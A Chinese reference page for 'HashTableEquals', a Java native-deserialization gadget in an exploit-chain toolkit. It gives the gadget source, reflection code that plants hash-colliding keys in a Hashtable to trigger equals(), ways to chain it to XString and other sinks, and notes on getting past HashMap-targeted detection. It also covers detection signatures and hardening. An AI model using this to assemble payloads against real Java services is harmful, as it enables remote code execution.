- 类别:common 别名:— 优先级:—(未设置)
- 辅助逻辑:
com.ar3h.chains.common.util.PayloadHelper#table2equals(位于chains-common-1.4.4.jar,未随 反编译,本文由字节码反汇编还原) - 作者:—
- 依赖:无第三方依赖(纯 JDK;
java.util.Hashtable+java.util.Hashtable$Entry) - 状态:
@Deprecated(作者已标注弃用,仍可作为Equals跳板研究)
一句话:构造一个内部持有两个「哈希冲突键」的 java.util.Hashtable,使其在 Java 原生反序列化(Hashtable.readObject)重建条目时对两个键调用 key1.equals(key2),从而把「原生反序列化」转接到「任意对象的 equals()」这一跳板上。它是 HashMapEquals / ConcurrentHashMapEquals / HotSTSourceEquals 这一族 equals 跳板中以 Hashtable 为载体的实现。
- 入口
tags:JavaNativeDeserialize—— 承接 Java 原生反序列化入口(ObjectInputStream.readObject)。作为链的中段,它的产物是一个可直接被原生反序列化触发的Hashtable。 - 衔接
nextTags:Equals—— 之后必须接一个「提供 equals 触发对」的 gadget。下游invoke返回一个 两元素Object[],本 gadget 把这两个元素塞进Hashtable当键;下游负责让objects[0].equals(objects[1])落到真正的 sink(如XString.equals → toString)。 excludes:无。
@GadgetTags(tags={"JavaNativeDeserialize"}, nextTags={"Equals"})
@GadgetAnnotation(name="HashTable#readObject()调用equals()方法,注意在调用equals方法之前会调用到包装对象hashCode方法,所以需要保证对象调用hashCode不能出现问题")
@Deprecated
public class HashTableEquals implements Gadget {
public Object getObject(Object obj1, Object obj2) throws Exception {
return PayloadHelper.table2equals(obj1, obj2);
}
@Override
public Object invoke(GadgetContext context, GadgetChain chain) throws Exception {
Object[] objects = (Object[])chain.doCreate(context); // 下游 Equals gadget 交回的 [obj1, obj2] 对
Object getterObject = context.get(ContextTag.FASTJSON_HANDLE_BYPASS_KEY);
Object resultObject = this.getObject(objects[0], objects[1]); // 构造 Hashtable
if (getterObject != null) {
return CommonMethod.listWrap(getterObject, resultObject); // fastjson 场景下额外包一层 List
}
return resultObject;
}
}逐段解释:
chain.doCreate(context)取回内层对象,并强制转型为Object[]——这是本族 gadget 的硬约定:其nextTags=Equals的下游必须返回长度为 2 的数组{obj1, obj2}(可对照 tostring 类的XStringToString1:其invoke正是return new Object[]{obj1, obj2};)。objects[0]是「等号左侧」的判等载体(例如XString("")),objects[1]是真正想触发其方法的目标对象。getObject(obj1, obj2)委托给PayloadHelper.table2equals完成Hashtable组装。FASTJSON_HANDLE_BYPASS_KEY分支:当上下文中存在 fastjson 处理句柄时,用CommonMethod.listWrap把[getterObject, resultObject]装进ArrayList一并返回(listWrap反汇编即new ArrayList(); add(a); add(b); return list;),供 fastjson 触发链衔接;纯原生反序列化场景该分支不进入。
PayloadHelper 不在 中,以下 Java 等价代码由 chains-common-1.4.4.jar 中 table2equals 的字节码(javap -c)逐条还原:
public static Hashtable table2equals(Object obj1, Object obj2) throws Exception {
Hashtable table = new Hashtable();
// 直接把 count 篡改为 2,使 writeObject 声明有 2 个条目待写出
Reflections.setFieldValue(table, "count", Integer.valueOf(2));
Class<?> entryClass = Class.forName("java.util.Hashtable$Entry");
// Hashtable$Entry(int hash, Object key, Object value, Entry next)
Constructor<?> ctor = entryClass.getDeclaredConstructor(
int.class, Object.class, Object.class, entryClass);
ctor.setAccessible(true);
Object tab = Array.newInstance(entryClass, 2); // Entry[2]
// 两个条目 hash 字段都写 0、next 都为 null;键分别是 obj1 / obj2
Array.set(tab, 0, ctor.newInstance(0, obj1, "Unam4", null));
Array.set(tab, 1, ctor.newInstance(0, obj2, "Springkill", null));
Reflections.setFieldValue(table, "table", tab); // 反射注入底层桶数组
return table;
}关键点:
- 用反射直接把两个
Hashtable$Entry(键=obj1/obj2,值=占位串"Unam4"/"Springkill")写进table数组,并把count置为 2。构造期不经过Hashtable.put,因此构造阶段不会触发equals(put会调用hashCode/equals,正常构造会当场爆链)。 - 条目里那个写死的
hash=0字段不会被序列化:Hashtable.writeObject只写出length、count以及每个条目的key、value对象,hash与next不入流。因此真正决定「是否触发 equals」的是反序列化端重新计算的key.hashCode()。
反序列化端(JDK java.util.Hashtable)大致流程:
private void readObject(ObjectInputStream s) ... {
...
for (; elements > 0; elements--) {
K key = (K) s.readObject(); // 依次读回 obj1、obj2
V value = (V) s.readObject();
reconstitutionPut(table, key, value);
}
}
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value) ... {
int hash = key.hashCode(); // ← 先调用 key.hashCode()
int index = (hash & 0x7FFFFFFF) % tab.length;
for (Entry<?,?> e = tab[index]; e != null; e = e.next) {
if ((e.hash == hash) && e.key.equals(key)) { // ← 同桶冲突时调用 equals()
throw new java.io.StreamCorruptedException();
}
}
...
}- 第一次
put(obj1)只登记,不比较。 - 第二次
put(obj2):先算obj2.hashCode(),落桶;若与已在同一桶中的obj1哈希冲突(obj1.hashCode()与obj2.hashCode()落到同一index),则执行e.key.equals(key),即obj1.equals(obj2)—— sink 正式触发。
这解释了注解里的告警「在调用 equals 方法之前会调用到包装对象 hashCode 方法,所以需要保证对象调用 hashCode 不能出现问题」:
reconstitutionPut会先对键调用hashCode(),若下游对象的hashCode()抛异常或有副作用,链在到达equals前就断了;- 两个键必须哈希冲突到同一桶,
equals才会被调用——这是本 gadget 相对HotSTSourceEquals的关键差异:HotSTSourceEquals会把两个对象各自包进HotSwappableTargetSource(其hashCode恒定、equals安全可控),从而规避 hashCode 抖动;而HashTableEquals直接拿原始对象当键,要求调用方自行保证下游对象的hashCode良性且可冲突(典型如XString,其hashCode稳定、不外溢)。
本 gadget 无 @Param(params 为空)。行为完全由链上下游决定:obj1/obj2 来自下游 Equals gadget,条目占位值 "Unam4"/"Springkill" 与 count=2 为固定实现细节,用户不可配。
- 无版本依赖:仅用
java.util.Hashtable及其私有内部类Hashtable$Entry、私有字段count/table,各主流 JDK(8/11/17+)均具备;Hashtable.readObject/reconstitutionPut的语义长期稳定。反射对私有字段/构造器的访问在启用强封装的 JDK(17+ 无--add-opens)上可能受setAccessible限制,但这属于攻击端构造 payload 时的环境要求,不影响 payload 本身的可反序列化性。 - 纯跳板、不含 sink:本条自身不产生任意代码执行,仅把
readObject转接到equals。最终效果取决于下游Equals→...链(常见续接XString.equals → 任意对象 toString,再接ToString类 sink)。 - 与同族的取舍:
HashTableEquals/HashMapEquals/ConcurrentHashMapEquals三者结构几乎一致(分别落到PayloadHelper.table2equals/makeMap/concurrentmap2equals),区别只是承载容器;HotSTSourceEquals额外用HotSwappableTargetSource包裹以稳住 hashCode/equals。选择Hashtable版的动机通常是绕过对HashMap的针对性检测,或目标环境对Hashtable序列化指纹更宽松。 - @Deprecated:作者已弃用本实现,实际预设链中未采用(见下)。
usedInChains 为空——自由构件,未直接出现在 51 条预设链中。可按 JavaNativeDeserialize → Equals → ... 手工组合,作为原生反序列化到 equals 跳板的替代载体。
- 下游(
nextTags=Equals,提供Object[]{obj1,obj2}判等对):- XStringToString1 / XStringToString2 / XStringToString3、XalanXStringToString1~3 ——
XString.equals → 目标.toString(),最经典续接。 - AudioFileFormat、AudioFormat —— 以
equals触发的ToString载体。 - RomeEqualsBean1 / RomeEqualsBean2(hessian 类)——
equals后接 JdbcRowSetImpl/Templates 等子链。
- XStringToString1 / XStringToString2 / XStringToString3、XalanXStringToString1~3 ——
- 同族替代(同为
JavaNativeDeserialize → Equals):HashMapEquals、ConcurrentHashMapEquals、HotSTSourceEquals、Rdn(Rdn$RdnEntryEquals)。 - 上游(入口):任意 Java 原生反序列化入口(
ObjectInputStream.readObject),见JavaNativeDeserialize标签族。
- 序列化指纹:流中出现
java.util.Hashtable,且其条目的 key 为com.sun.org.apache.xpath.internal.objects.XString、javax.sound.sampled.AudioFileFormat、org.springframework.aop.target.HotSwappableTargetSource等「非业务判等载体」时高度可疑;Hashtable内嵌两个哈希冲突键更是 equals 跳板的典型形态。 - 调用栈特征:运行期若见
Hashtable.reconstitutionPut → XString.equals → *.toString(或HotSwappableTargetSource.equals)栈帧,即为本类链条被触发的直接证据。 - 加固建议:
- 反序列化入口启用类白名单/黑名单(如
ObjectInputFilter/ JEP 290),拦截Hashtable之外并封堵XString、AudioFileFormat、HotSwappableTargetSource、TemplatesImpl等常见 sink 载体。 - 从根本上避免对不可信数据做原生反序列化;确需时改用带类型校验的安全编解码。
- JDK 17+ 默认强封装(不额外
--add-opens java.base/java.util=ALL-UNNAMED)会削弱对Hashtable私有字段的反射构造,可作为纵深防御的一环,但不应作为唯一防线。
- 反序列化入口启用类白名单/黑名单(如